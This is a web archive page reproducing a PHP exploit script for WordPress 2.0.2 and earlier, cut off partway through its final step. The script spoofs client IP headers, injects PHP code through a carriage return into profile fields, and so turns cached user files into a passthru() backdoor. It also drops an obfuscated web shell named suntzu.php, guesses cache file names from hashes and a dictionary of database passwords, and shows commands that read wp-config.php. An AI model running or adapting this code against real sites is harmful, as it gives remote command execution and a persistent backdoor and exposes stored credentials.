Lucene search
K

WordPress <= 2.0.2 (cache) Remote Shell Injection Exploit

🗓️ 18 Dec 2007 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 59 Views

WordPress <= 2.0.2 (cache) Remote Shell Injection Exploit by rgo

Code

                                                #!/usr/bin/php&nbsp;-q&nbsp;-d&nbsp;short_open_tag=on
&lt;?
echo&nbsp;&quot;--------------------------------------------------------------------\r\n&quot;;
echo&nbsp;&quot;|&nbsp;WordPress&nbsp;&lt;=&nbsp;2.0.2&nbsp;'cache'&nbsp;shell&nbsp;injection&nbsp;exploit&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;|\r\n&quot;;
echo&nbsp;&quot;|&nbsp;by&nbsp;rgod&nbsp;[email protected]&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;|\r\n&quot;;
echo&nbsp;&quot;|&nbsp;site:&nbsp;http://retrogod.altervista.org&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;|\r\n&quot;;
echo&nbsp;&quot;|&nbsp;dork:&nbsp;inurl:wp-login.php&nbsp;Register&nbsp;Username&nbsp;Password&nbsp;-echo&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;|\r\n&quot;;
echo&nbsp;&quot;--------------------------------------------------------------------\r\n&quot;;

/*
this&nbsp;works:
regardless&nbsp;of&nbsp;all&nbsp;php.ini&nbsp;settings,
if&nbsp;user&nbsp;registration&nbsp;is&nbsp;enabled,
against&nbsp;an&nbsp;empty&nbsp;or&nbsp;weak&nbsp;MySQL&nbsp;DB&nbsp;password&nbsp;(read&nbsp;explaination&nbsp;for&nbsp;details...)
*/

if&nbsp;($argc&lt;6)&nbsp;{
echo&nbsp;&quot;Usage:&nbsp;php&nbsp;&quot;.$argv[0].&quot;&nbsp;host&nbsp;path&nbsp;user&nbsp;pass&nbsp;cmd&nbsp;OPTIONS&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\n&quot;;
echo&nbsp;&quot;host:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;target&nbsp;server&nbsp;(ip/hostname)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\n&quot;;
echo&nbsp;&quot;path:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;path&nbsp;to&nbsp;WordPress&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\n&quot;;
echo&nbsp;&quot;c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sp;&nbsp;&nbsp;&nbsp;\r\n&quot;;
echo&nbsp;&quot;php&nbsp;&quot;.$argv[0].&quot;&nbsp;localhost&nbsp;/wordpress/&nbsp;your_username&nbsp;password&nbsp;ls&nbsp;-la&nbsp;-Ddic.txt\r\n&quot;;
echo&nbsp;&quot;php&nbsp;&quot;.$argv[0].&quot;&nbsp;localhost&nbsp;/wordpress/&nbsp;your_username&nbsp;password&nbsp;cat&nbsp;./../../../wp-config.php&nbsp;-p81\r\n&quot;;
echo&nbsp;&quot;php&nbsp;&quot;.$argv[0].&quot;&nbsp;localhost&nbsp;/&nbsp;your_username&nbsp;password&nbsp;ls&nbsp;-la&nbsp;-P1.1.1.1:80\r\n\r\n&quot;;
die;
}

/*&nbsp;explaination:

&nbsp;&nbsp;i)&nbsp;wordpress&nbsp;stores&nbsp;some&nbsp;user&nbsp;informations&nbsp;inside&nbsp;cached&nbsp;files
&nbsp;&nbsp;&nbsp;in&nbsp;wp-content/cache/userlogins/&nbsp;and&nbsp;wp-content/cache/users/&nbsp;folders,&nbsp;they&nbsp;are
&nbsp;&nbsp;&nbsp;php&nbsp;files.
&nbsp;&nbsp;&nbsp;Normally&nbsp;they&nbsp;look&nbsp;like&nbsp;this:

&nbsp;&nbsp;&nbsp;&lt;?php
&nbsp;&nbsp;&nbsp;//O:8:&quot;stdClass&quot;:23:{s:2:&quot;ID&quot;;s:3:&quot;106&quot;;s:10:&quot;user_login&quot;;s:6:&quot;suntzu&quot;;s:9:&quot;user_pass&quot;;s:32:&quot;a2b0f31cd94e749b58307775462e2e4b&quot;;s:13:&quot;user_nicename&quot;;s:6:&quot;suntzu&quot;;s:10:&quot;user_email&quot;;s:18:&quot;[email protected]&quot;;s:8:&quot;user_url&quot;;s:0:&quot;&quot;;s:15:&quot;user_registered&quot;;s:19:&quot;2006-05-24&nbsp;23:00:42&quot;;s:19:&quot;user_activation_key&quot;;s:0:&quot;&quot;;s:11:&quot;user_status&quot;;s:1:&quot;0&quot;;s:12:&quot;display_name&quot;;s:6:&quot;suntzu&quot;;s:10:&quot;first_name&quot;;s:0:&quot;&quot;;s:9:&quot;last_name&quot;;s:0:&quot;&quot;;s:8:&quot;nickname&quot;;s:6:&quot;suntzu&quot;;s:11:&quot;description&quot;;s:0:&quot;&quot;;s:6:&quot;jabber&quot;;s:0:&quot;&quot;;s:3:&quot;aim&quot;;s:0:&quot;&quot;;s:3:&quot;yim&quot;;s:0:&quot;&quot;;s:15:&quot;wp_capabilities&quot;;a:1:{s:10:&quot;subscriber&quot;;b:1;}s:13:&quot;wp_user_level&quot;;s:1:&quot;0&quot;;s:10:&quot;user_level&quot;;s:1:&quot;0&quot;;s:14:&quot;user_firstname&quot;;s:0:&quot;&quot;;s:13:&quot;user_lastname&quot;;s:0:&quot;&quot;;s:16:&quot;user_description&quot;;s:0:&quot;&quot;;}
&nbsp;&nbsp;&nbsp;?&gt;

&nbsp;&nbsp;&nbsp;but...what&nbsp;happens&nbsp;if&nbsp;you&nbsp;inject&nbsp;a&nbsp;carriage&nbsp;return&nbsp;(&nbsp;chr(13)...),&nbsp;some&nbsp;php&nbsp;code&nbsp;and&nbsp;some
&nbsp;&nbsp;&nbsp;escape&nbsp;chars&nbsp;when&nbsp;you&nbsp;update&nbsp;your&nbsp;profile&nbsp;(ex.&nbsp;in&nbsp;&quot;displayname&quot;&nbsp;argument)?

&nbsp;&nbsp;&nbsp;Look&nbsp;at&nbsp;this&nbsp;file&nbsp;now:

&nbsp;&nbsp;&nbsp;&lt;?php
&nbsp;&nbsp;&nbsp;//O:8:&quot;stdClass&quot;:24:{s:2:&quot;ID&quot;;s:3:&quot;106&quot;;s:10:&quot;user_login&quot;;s:6:&quot;suntzu&quot;;s:9:&quot;user_pass&quot;;s:32:&quot;a2b0f31cd94e749b58307775462e2e4b&quot;;s:13:&quot;user_nicename&quot;;s:6:&quot;suntzu&quot;;s:10:&quot;user_email&quot;;s:17:&quot;[email protected]&quot;;s:8:&quot;user_url&quot;;s:7:&quot;http://&quot;;s:15:&quot;user_registered&quot;;s:19:&quot;2006-05-24&nbsp;23:00:42&quot;;s:19:&quot;user_activation_key&quot;;s:0:&quot;&quot;;s:11:&quot;user_status&quot;;s:1:&quot;0&quot;;s:12:&quot;display_name&quot;;s:185:&quot;suntzu
&nbsp;&nbsp;&nbsp;error_reporting(0);set_time_limit(0);if&nbsp;(get_magic_quotes_gpc()){$_REQUEST[cmd]=stripslashes($_REQUEST[cmd]);}echo&nbsp;56789;passthru($_REQUEST[cmd]);echo&nbsp;56789;//suntzuuuuuuuuuuuuuu&quot;;s:10:&quot;first_name&quot;;s:6:&quot;suntzu&quot;;s:9:&quot;last_name&quot;;s:6:&quot;suntzu&quot;;s:8:&quot;nickname&quot;;s:6:&quot;suntzu&quot;;s:11:&quot;description&quot;;s:6:&quot;whoami&quot;;s:6:&quot;jabber&quot;;s:0:&quot;&quot;;s:3:&quot;aim&quot;;s:0:&quot;&quot;;s:3:&quot;yim&quot;;s:0:&quot;&quot;;s:15:&quot;wp_capabilities&quot;;a:1:{s:10:&quot;subscriber&quot;;b:1;}s:13:&quot;wp_user_level&quot;;s:1:&quot;0&quot;;s:10:&quot;user_level&quot;;s:1:&quot;0&quot;;s:12:&quot;rich_editing&quot;;s:4:&quot;true&quot;;s:14:&quot;user_firstname&quot;;s:6:&quot;suntzu&quot;;s:13:&quot;user_lastname&quot;;s:6:&quot;suntzu&quot;;s:16:&quot;user_description&quot;;s:6:&quot;whoami&quot;;}
&nbsp;&nbsp;&nbsp;?&gt;

&nbsp;&nbsp;&nbsp;you&nbsp;have&nbsp;a&nbsp;backdoor&nbsp;on&nbsp;target&nbsp;server...

&nbsp;&nbsp;&nbsp;Now&nbsp;you&nbsp;have&nbsp;to&nbsp;search&nbsp;a&nbsp;way&nbsp;to&nbsp;guess&nbsp;filenames&nbsp;'cause&nbsp;we&nbsp;have&nbsp;an
&nbsp;&nbsp;&nbsp;index.php&nbsp;to&nbsp;trivially&nbsp;protect&nbsp;folders,&nbsp;but...&nbsp;guess&nbsp;what?

&nbsp;&nbsp;&nbsp;give&nbsp;a&nbsp;look&nbsp;at&nbsp;wp-includes/cache.php&nbsp;at&nbsp;line&nbsp;355:

&nbsp;&nbsp;&nbsp;...
&nbsp;&nbsp;&nbsp;$cache_file&nbsp;=&nbsp;$group_dir.md5($id.DB_PASSWORD).'.php';
&nbsp;&nbsp;&nbsp;...

&nbsp;&nbsp;&nbsp;$group_dir&nbsp;is&nbsp;the&nbsp;folder&nbsp;where&nbsp;files&nbsp;are&nbsp;stored
&nbsp;&nbsp;&nbsp;DB_PASSWORD&nbsp;costant&nbsp;could&nbsp;be&nbsp;empty,&nbsp;if&nbsp;so...
&nbsp;&nbsp;&nbsp;you&nbsp;have&nbsp;only&nbsp;to&nbsp;calculate&nbsp;the&nbsp;md5&nbsp;hash&nbsp;of&nbsp;your&nbsp;user&nbsp;id,&nbsp;then:

&nbsp;&nbsp;&nbsp;http://[target]/[path]/wp-content/cache/users/[md5(user_id)].php?cmd=ls%20-la

&nbsp;&nbsp;&nbsp;the&nbsp;same&nbsp;with&nbsp;userlogins/&nbsp;folder,&nbsp;this&nbsp;time:

&nbsp;&nbsp;&nbsp;http://[target]/[path]/wp-content/cache/userlogins/[md5(username)].php?cmd=ls%20-la

&nbsp;&nbsp;&nbsp;otherwise&nbsp;you&nbsp;can&nbsp;check&nbsp;if&nbsp;DB_PASSWORD&nbsp;is&nbsp;in&nbsp;a&nbsp;dictionary&nbsp;through&nbsp;the&nbsp;-D&nbsp;option,
&nbsp;&nbsp;&nbsp;this&nbsp;tool&nbsp;calculate&nbsp;the&nbsp;hash&nbsp;to&nbsp;do&nbsp;something&nbsp;like&nbsp;this:

&nbsp;&nbsp;&nbsp;http://[target]/[path]/wp-content/cache/users/[md5([user_id][db_pass])].php?cmd=ls%20-la
&nbsp;&nbsp;&nbsp;http://[target]/[path]/wp-content/cache/userloginss/[md5([username][db_pass])].php?cmd=ls%20-la

&nbsp;&nbsp;ii)&nbsp;an&nbsp;ip-spoofing&nbsp;issue&nbsp;in&nbsp;vars.php:

&nbsp;&nbsp;...
&nbsp;&nbsp;//&nbsp;On&nbsp;OS&nbsp;X&nbsp;Server,&nbsp;$_SERVER['REMOTE_ADDR']&nbsp;is&nbsp;the&nbsp;server's&nbsp;address.&nbsp;Workaround&nbsp;this
&nbsp;&nbsp;//&nbsp;by&nbsp;using&nbsp;$_SERVER['HTTP_PC_REMOTE_ADDR'],&nbsp;which&nbsp;*is*&nbsp;the&nbsp;remote&nbsp;address.
&nbsp;&nbsp;if&nbsp;(&nbsp;isset($_SERVER['HTTP_PC_REMOTE_ADDR'])&nbsp;)
&nbsp;&nbsp;	$_SERVER['REMOTE_ADDR']&nbsp;=&nbsp;$_SERVER['HTTP_PC_REMOTE_ADDR'];
&nbsp;&nbsp;...

&nbsp;&nbsp;poc:
&nbsp;&nbsp;you&nbsp;can&nbsp;set&nbsp;an&nbsp;http&nbsp;header&nbsp;like&nbsp;this&nbsp;when&nbsp;you&nbsp;register:

&nbsp;&nbsp;PC_REMOTE_ADDR:&nbsp;1.1.1.1
									&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;*/
error_reporting(0);
ini_set(&quot;max_execution_time&quot;,0);
ini_set(&quot;default_socket_timeout&quot;,5);

function&nbsp;quick_dump($string)
{
&nbsp;&nbsp;$result='';$exa='';$cont=0;
&nbsp;&nbsp;for&nbsp;($i=0;&nbsp;$i&lt;=strlen($string)-1;&nbsp;$i++)
&nbsp;&nbsp;{
&nbsp;&nbsp;&nbsp;if&nbsp;((ord($string[$i])&nbsp;&lt;=&nbsp;32&nbsp;)&nbsp;|&nbsp;(ord($string[$i])&nbsp;&gt;&nbsp;126&nbsp;))
&nbsp;&nbsp;&nbsp;{$result.=&quot;&nbsp;&nbsp;.&quot;;}
&nbsp;&nbsp;&nbsp;else
&nbsp;&nbsp;&nbsp;{$result.=&quot;&nbsp;&nbsp;&quot;.$string[$i];}
&nbsp;&nbsp;&nbsp;if&nbsp;(strlen(dechex(ord($string[$i])))==2)
&nbsp;&nbsp;&nbsp;{$exa.=&quot;&nbsp;&quot;.dechex(ord($string[$i]));}
&nbsp;&nbsp;&nbsp;else
&nbsp;&nbsp;&nbsp;{$exa.=&quot;&nbsp;0&quot;.dechex(ord($string[$i]));}
&nbsp;&nbsp;&nbsp;$cont++;if&nbsp;($cont==15)&nbsp;{$cont=0;&nbsp;$result.=&quot;\r\n&quot;;&nbsp;$exa.=&quot;\r\n&quot;;}
&nbsp;&nbsp;}
&nbsp;return&nbsp;$exa.&quot;\r\n&quot;.$result;
}
$proxy_regex&nbsp;=&nbsp;'(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';
function&nbsp;sendpacketii($packet)
{
&nbsp;&nbsp;global&nbsp;$proxy,&nbsp;$host,&nbsp;$port,&nbsp;$html,&nbsp;$proxy_regex;
&nbsp;&nbsp;if&nbsp;($proxy=='')&nbsp;{
&nbsp;&nbsp;&nbsp;&nbsp;$ock=fsockopen(gethostbyname($host),$port);
&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(!$ock)&nbsp;{
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;echo&nbsp;'No&nbsp;response&nbsp;from&nbsp;'.$host.':'.$port;&nbsp;die;
&nbsp;&nbsp;&nbsp;&nbsp;}
&nbsp;&nbsp;}
&nbsp;&nbsp;else&nbsp;{
	$c&nbsp;=&nbsp;preg_match($proxy_regex,$proxy);
&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(!$c)&nbsp;{
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;echo&nbsp;'Not&nbsp;a&nbsp;valid&nbsp;proxy...';die;
&nbsp;&nbsp;&nbsp;&nbsp;}
&nbsp;&nbsp;&nbsp;&nbsp;$parts=explode(':',$proxy);
&nbsp;&nbsp;&nbsp;&nbsp;echo&nbsp;&quot;Connecting&nbsp;to&nbsp;&quot;.$parts[0].&quot;:&quot;.$parts[1].&quot;&nbsp;proxy...\r\n&quot;;
&nbsp;&nbsp;&nbsp;&nbsp;$ock=fsockopen($parts[0],$parts[1]);
&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(!$ock)&nbsp;{
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;echo&nbsp;'No&nbsp;response&nbsp;from&nbsp;proxy...';die;
	}
&nbsp;&nbsp;}
&nbsp;&nbsp;fputs($ock,$packet);
&nbsp;&nbsp;if&nbsp;($proxy=='')&nbsp;{
&nbsp;&nbsp;&nbsp;&nbsp;$html='';
&nbsp;&nbsp;&nbsp;&nbsp;while&nbsp;(!feof($ock))&nbsp;{
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$html.=fgets($ock);
&nbsp;&nbsp;&nbsp;&nbsp;}
&nbsp;&nbsp;}
&nbsp;&nbsp;else&nbsp;{
&nbsp;&nbsp;&nbsp;&nbsp;$html='';
&nbsp;&nbsp;&nbsp;&nbsp;while&nbsp;((!feof($ock))&nbsp;or&nbsp;(!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html)))&nbsp;{
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$html.=fread($ock,1);
&nbsp;&nbsp;&nbsp;&nbsp;}
&nbsp;&nbsp;}
&nbsp;&nbsp;fclose($ock);
&nbsp;&nbsp;#debug
&nbsp;&nbsp;#echo&nbsp;&quot;\r\n&quot;.$html;

}
$host=$argv[1];
$path=$argv[2];
$username=$argv[3];
$password=$argv[4];
$cmd=&quot;&quot;;
$port=80;
$proxy=&quot;&quot;;
$dict=&quot;&quot;;

for&nbsp;($i=5;&nbsp;$i&lt;=$argc-1;&nbsp;$i++){
$t=$argv[$i][0].$argv[$i][1];
if&nbsp;(($t&lt;&gt;&quot;-p&quot;)&nbsp;and&nbsp;($t&lt;&gt;&quot;-P&quot;)&nbsp;and&nbsp;($t&lt;&gt;&quot;-D&quot;))
{$cmd.=&quot;&nbsp;&quot;.$argv[$i];}
if&nbsp;($t==&quot;-p&quot;)
{
&nbsp;&nbsp;$port=str_replace(&quot;-p&quot;,&quot;&quot;,$argv[$i]);
}
if&nbsp;($t==&quot;-P&quot;)
{
&nbsp;&nbsp;$proxy=str_replace(&quot;-P&quot;,&quot;&quot;,$argv[$i]);
}
if&nbsp;($t==&quot;-D&quot;)
{
&nbsp;&nbsp;$dict=str_replace(&quot;-D&quot;,&quot;&quot;,$argv[$i]);
}
}
$cmd=urlencode($cmd);
if&nbsp;(($path[0]&lt;&gt;'/')&nbsp;or&nbsp;($path[strlen($path)-1]&lt;&gt;'/'))&nbsp;{echo&nbsp;'Error...&nbsp;check&nbsp;the&nbsp;path!';&nbsp;die;}
if&nbsp;($proxy=='')&nbsp;{$p=$path;}&nbsp;else&nbsp;{$p='http://'.$host.':'.$port.$path;}

echo&nbsp;&quot;step&nbsp;0&nbsp;-&gt;&nbsp;check&nbsp;if&nbsp;suntzu.php&nbsp;is&nbsp;already&nbsp;installed...\r\n&quot;;
$check=array(&quot;users/suntzu.php&quot;,
	&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&quot;userlogins/suntzu.php&quot;
	&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;);
for&nbsp;($i=0;&nbsp;$i&lt;=count($check)-1;&nbsp;$i++)
{
&nbsp;&nbsp;$packet=&quot;GET&nbsp;&quot;.$p.&quot;wp-content/cache/&quot;.$check[$i].&quot;&nbsp;HTTP/1.0\r\n&quot;;
&nbsp;&nbsp;$packet.=&quot;Host:&nbsp;&quot;.$host.&quot;\r\n&quot;;
&nbsp;&nbsp;$packet.=&quot;Cookie:&nbsp;cmd=&quot;.$cmd.&quot;\r\n&quot;;
&nbsp;&nbsp;$packet.=&quot;Connection:&nbsp;close\r\n\r\n&quot;;
&nbsp;&nbsp;sendpacketii($packet);
&nbsp;&nbsp;if&nbsp;(strstr($html,&quot;*DL*&quot;))
&nbsp;&nbsp;{
&nbsp;&nbsp;&nbsp;&nbsp;echo&nbsp;&quot;Exploit&nbsp;succeeded...\r\n&quot;;$temp=explode(&quot;*DL*&quot;,$html);echo&nbsp;$temp[1].&quot;\r\n&quot;;echo&quot;Now&nbsp;you&nbsp;can&nbsp;launch&nbsp;commands&nbsp;through&nbsp;the&nbsp;followig&nbsp;url:\r\n&nbsp;http://&quot;.$host.$path.&quot;wp-content/cache/&quot;.$check[$i].&quot;?cmd=ls%20-la&quot;;die;
&nbsp;&nbsp;}
}
echo&nbsp;&quot;step&nbsp;1&nbsp;-&gt;&nbsp;Login&nbsp;...\r\n&quot;;
$data=&quot;log=&quot;.urlencode(trim($username));
$data.=&quot;&amp;pwd=&quot;.urlencode(trim($password));
$data.=&quot;&amp;rememberme=forever&quot;;
$data.=&quot;&amp;submit=&quot;.urlencode(&quot;Login&nbsp;&amp;raquo;&quot;);
$data.=&quot;&amp;redirect_to=wp-admin&quot;;
$packet=&quot;POST&nbsp;&quot;.$p.&quot;wp-login.php&nbsp;HTTP/1.0\r\n&quot;;
$packet.=&quot;PC_REMOTE_ADDR:&nbsp;1.1.1.1\r\n&quot;;&nbsp;//ip&nbsp;spoofing&nbsp;bug&nbsp;in&nbsp;vars.php&nbsp;;)...
$packet.=&quot;Content-Type:&nbsp;application/x-www-form-urlencoded\r\n&quot;;
$packet.=&quot;Host:&nbsp;&quot;.$host.&quot;\r\n&quot;;
$packet.=&quot;Content-Length:&nbsp;&quot;.strlen($data).&quot;\r\n&quot;;
$packet.=&quot;Connection:&nbsp;close\r\n\r\n&quot;;
$packet.=$data;
sendpacketii($packet);
$temp=explode(&quot;Set-Cookie:&nbsp;&quot;,$html);
$temp2=explode(&quot;&nbsp;&quot;,$temp[1]);
$cookie=$temp2[0];
$temp2=explode(&quot;&nbsp;&quot;,$temp[2]);
$cookie.=&quot;&nbsp;&quot;.$temp2[0];
if&nbsp;($cookie==''){echo&nbsp;&quot;Unable&nbsp;to&nbsp;login...&quot;;die;}
else&nbsp;{echo&nbsp;&quot;cookie&nbsp;-&gt;&quot;.$cookie.&quot;\r\n&quot;;}

echo&nbsp;&quot;step&nbsp;2&nbsp;-&gt;&nbsp;Retrieve&nbsp;your&nbsp;user&nbsp;id...\r\n&quot;;
$packet=&quot;GET&nbsp;&quot;.$p.&quot;wp-admin/profile.php&nbsp;HTTP/1.0\r\n&quot;;
$packet.=&quot;PC_REMOTE_ADDR:&nbsp;1.1.1.1\r\n&quot;;
$packet.=&quot;Host:&nbsp;&quot;.$host.&quot;\r\n&quot;;
$packet.=&quot;Cookie:&nbsp;&quot;.$cookie.&quot;\r\n&quot;;
$packet.=&quot;Connection:&nbsp;close\r\n\r\n&quot;;
$packet.=$data;
sendpacketii($packet);
$temp=explode(&quot;checkuser_id\&quot;&nbsp;value=\&quot;&quot;,$html);
$temp2=explode(&quot;\&quot;&quot;,$temp[1]);
$user_id=$temp2[0];
if&nbsp;($user_id==''){die(&quot;Unable&nbsp;to&nbsp;retrieve&nbsp;user&nbsp;id...\r\n&quot;);}
else&nbsp;{echo&nbsp;&quot;user&nbsp;id&nbsp;-&gt;&nbsp;&quot;.$user_id.&quot;\r\n&quot;;}

echo&nbsp;&quot;step&nbsp;3&nbsp;-&gt;&nbsp;Update&nbsp;your&nbsp;profile&nbsp;with&nbsp;the&nbsp;evil&nbsp;code...\r\n&quot;;
$suntzu='$fp=fopen(&quot;suntzu.php&quot;,&quot;w&quot;);fputs($fp,chr(60).chr(63).chr(112).chr(104).chr(112).chr(32).chr(101).chr(114).chr(114).chr(111).chr(114).chr(95).chr(114).chr(101).chr(112).chr(111).chr(114).chr(116).chr(105).chr(110).chr(103).chr(40).chr(48).chr(41).chr(59).chr(115).chr(101).chr(116).chr(95).chr(116).chr(105).chr(109).chr(101).chr(95).chr(108).chr(105).chr(109).chr(105).chr(116).chr(40).chr(48).chr(41).chr(59).chr(105).chr(102).chr(32).chr(40).chr(103).chr(101).chr(116).chr(95).chr(109).chr(97).chr(103).chr(105).chr(99).chr(95).chr(113).chr(117).chr(111).chr(116).chr(101).chr(115).chr(95).chr(103).chr(112).chr(99).chr(40).chr(41).chr(41).chr(123).chr(36).chr(95).chr(82).chr(69).chr(81).chr(85).chr(69).chr(83).chr(84).chr(91).chr(99).chr(109).chr(100).chr(93).chr(61).chr(115).chr(116).chr(114).chr(105).chr(112).chr(115).chr(108).chr(97).chr(115).chr(104).chr(101).chr(115).chr(40).chr(36).chr(95).chr(82).chr(69).chr(81).chr(85).chr(69).chr(83).chr(84).chr(91).chr(99).chr(109).chr(100).chr(93).chr(41).chr(59).chr(125).chr(101).chr(99).chr(104).chr(111).chr(32).chr(34).chr(42).chr(68).chr(76).chr(42).chr(34).chr(59).chr(112).chr(97).chr(115).chr(115).chr(116).chr(104).chr(114).chr(117).chr(40).chr(36).chr(95).chr(82).chr(69).chr(81).chr(85).chr(69).chr(83).chr(84).chr(91).chr(99).chr(109).chr(100).chr(93).chr(41).chr(59).chr(63).chr(62));fclose($fp);//';
$suntzu=urlencode($suntzu);
$code='error_reporting(0);set_time_limit(0);if&nbsp;(get_magic_quotes_gpc()){$_REQUEST[cmd]=stripslashes($_REQUEST[cmd]);}echo&nbsp;chr(42).chr(68).chr(76).chr(42);passthru($_REQUEST[cmd]);echo&nbsp;chr(42).chr(68).chr(76).chr(42);';
$code=urlencode($code);
$data=&quot;from=profile&quot;;
$data.=&quot;&amp;checkuser_id=&quot;.$user_id;
$data.=&quot;&amp;user_login=&quot;.urlencode(trim($username));
$data.=&quot;&amp;first_name=&quot;.urlencode(trim($username));
$data.=&quot;&amp;last_name=&quot;.urlencode(trim($username)).chr(13).$suntzu.&quot;//suntzuuu&quot;;
$data.=&quot;&amp;nickname=&quot;.urlencode(trim($username));
$data.=&quot;&amp;display_name=&quot;.urlencode(trim($username)).chr(13).$code.&quot;//suntzuu&quot;;
$data.=&quot;&amp;email=&quot;.urlencode(&quot;[email protected]&quot;);
$data.=&quot;&amp;url=&quot;.urlencode(&quot;http://&quot;);
$data.=&quot;&amp;aim=&quot;;
$data.=&quot;&amp;yim=&quot;;
$data.=&quot;&amp;jabber=&quot;;
$data.=&quot;&amp;description=whoami&quot;;
$data.=&quot;&amp;rich_editing=true&quot;;
$data.=&quot;&amp;submit=&quot;.urlencode(&quot;Update&nbsp;Profile&nbsp;&amp;raquo;&quot;);
$packet=&quot;POST&nbsp;&quot;.$p.&quot;wp-admin/profile-update.php&nbsp;HTTP/1.0\r\n&quot;;
$packet.=&quot;PC_REMOTE_ADDR:&nbsp;1.1.1.1\r\n&quot;;
$packet.=&quot;Accept-Encoding:&nbsp;gzip,&nbsp;deflate\r\n&quot;;
$packet.=&quot;Accept-Language:&nbsp;en\r\n&quot;;
$packet.=&quot;Referer:&nbsp;http://&quot;.$host.$path.&quot;wp-admin/profile-update.php\r\n&quot;;
$packet.=&quot;Content-Type:&nbsp;application/x-www-form-urlencoded\r\n&quot;;
$packet.=&quot;Host:&nbsp;&quot;.$host.&quot;\r\n&quot;;
$packet.=&quot;Content-Length:&nbsp;&quot;.strlen($data).&quot;\r\n&quot;;
$packet.=&quot;Cookie:&nbsp;&quot;.$cookie.&quot;\r\n&quot;;
$packet.=&quot;Connection:&nbsp;close\r\n\r\n&quot;;
$packet.=$data;
sendpacketii($packet);
if&nbsp;(eregi(&quot;updated=true&quot;,$html)){echo&nbsp;&quot;Done...\r\n&quot;;}
else&nbsp;{die(&quot;Unable&nbsp;to&nbsp;update&nbsp;profile...&quot;);}

echo&nbsp;&quot;step&nbsp;4&nbsp;-&gt;&nbsp;go&nbsp;to&nbsp;profile&nbsp;page&nbsp;to&nbsp;avoid&nbsp;cached&nbsp;files&nbsp;deletion...\r\n&quot;;
$packet=&quot;GET&nbsp;&quot;.$p.&quot;wp-admin/profile.php?updated=true&nbsp;HTTP/1.0\r\n&quot;;
$packet.=&quot;PC_REMOTE_ADDR:&nbsp;1.1.1.1\r\n&quot;;
$packet.=&quot;Host:&nbsp;&quot;.$host.&quot;\r\n&quot;;
$packet.=&quot;Cookie:&nbsp;&quot;.$cookie.&quot;\r\n&quot;;
$packet.=&quot;Connection:&nbsp;close\r\n\r\n&quot;;
sendpacketii($packet);
if&nbsp;(eregi(&quot;200&nbsp;OK&quot;,$html)){echo&nbsp;&quot;Done...\r\n&quot;;}
sleep(2);

echo&nbsp;&quot;step&nbsp;5&nbsp;-&gt;&nbsp;check&nbsp;for&nbsp;an&nbsp;empty&nbsp;db&nbsp;password...\r\n&quot;;
$check=array(&quot;users/&quot;.md5($user_id).&quot;.php&quot;,
	&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&quot;userlogins/&quot;.md5(trim($username)).&quot;.php&quot;
	&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;);
for&nbsp;($i=0;&nbsp;$i&lt;=count($check)-1;&nbsp;$i++)
{
&nbsp;&nbsp;$packet=&quot;GET&nbsp;&quot;.$p.&quot;wp-content/cache/&quot;.$check[$i].&quot;&nbsp;HTTP/1.0\r\n&quot;;
&nbsp;&nbsp;$packet.=&quot;Host:&nbsp;&quot;.$host.&quot;\r\n&quot;;
&nbsp;&nbsp;$packet.=&quot;Cookie:&nbsp;cmd=&quot;.$cmd.&quot;\r\n&quot;;
&nbsp;&nbsp;$packet.=&quot;Connection:&nbsp;close\r\n\r\n&quot;;
&nbsp;&nbsp;sendpacketii($packet);
&nbsp;&nbsp;if&nbsp;(eregi(&quot;*DL*&quot;,$html))
&nbsp;&nbsp;{
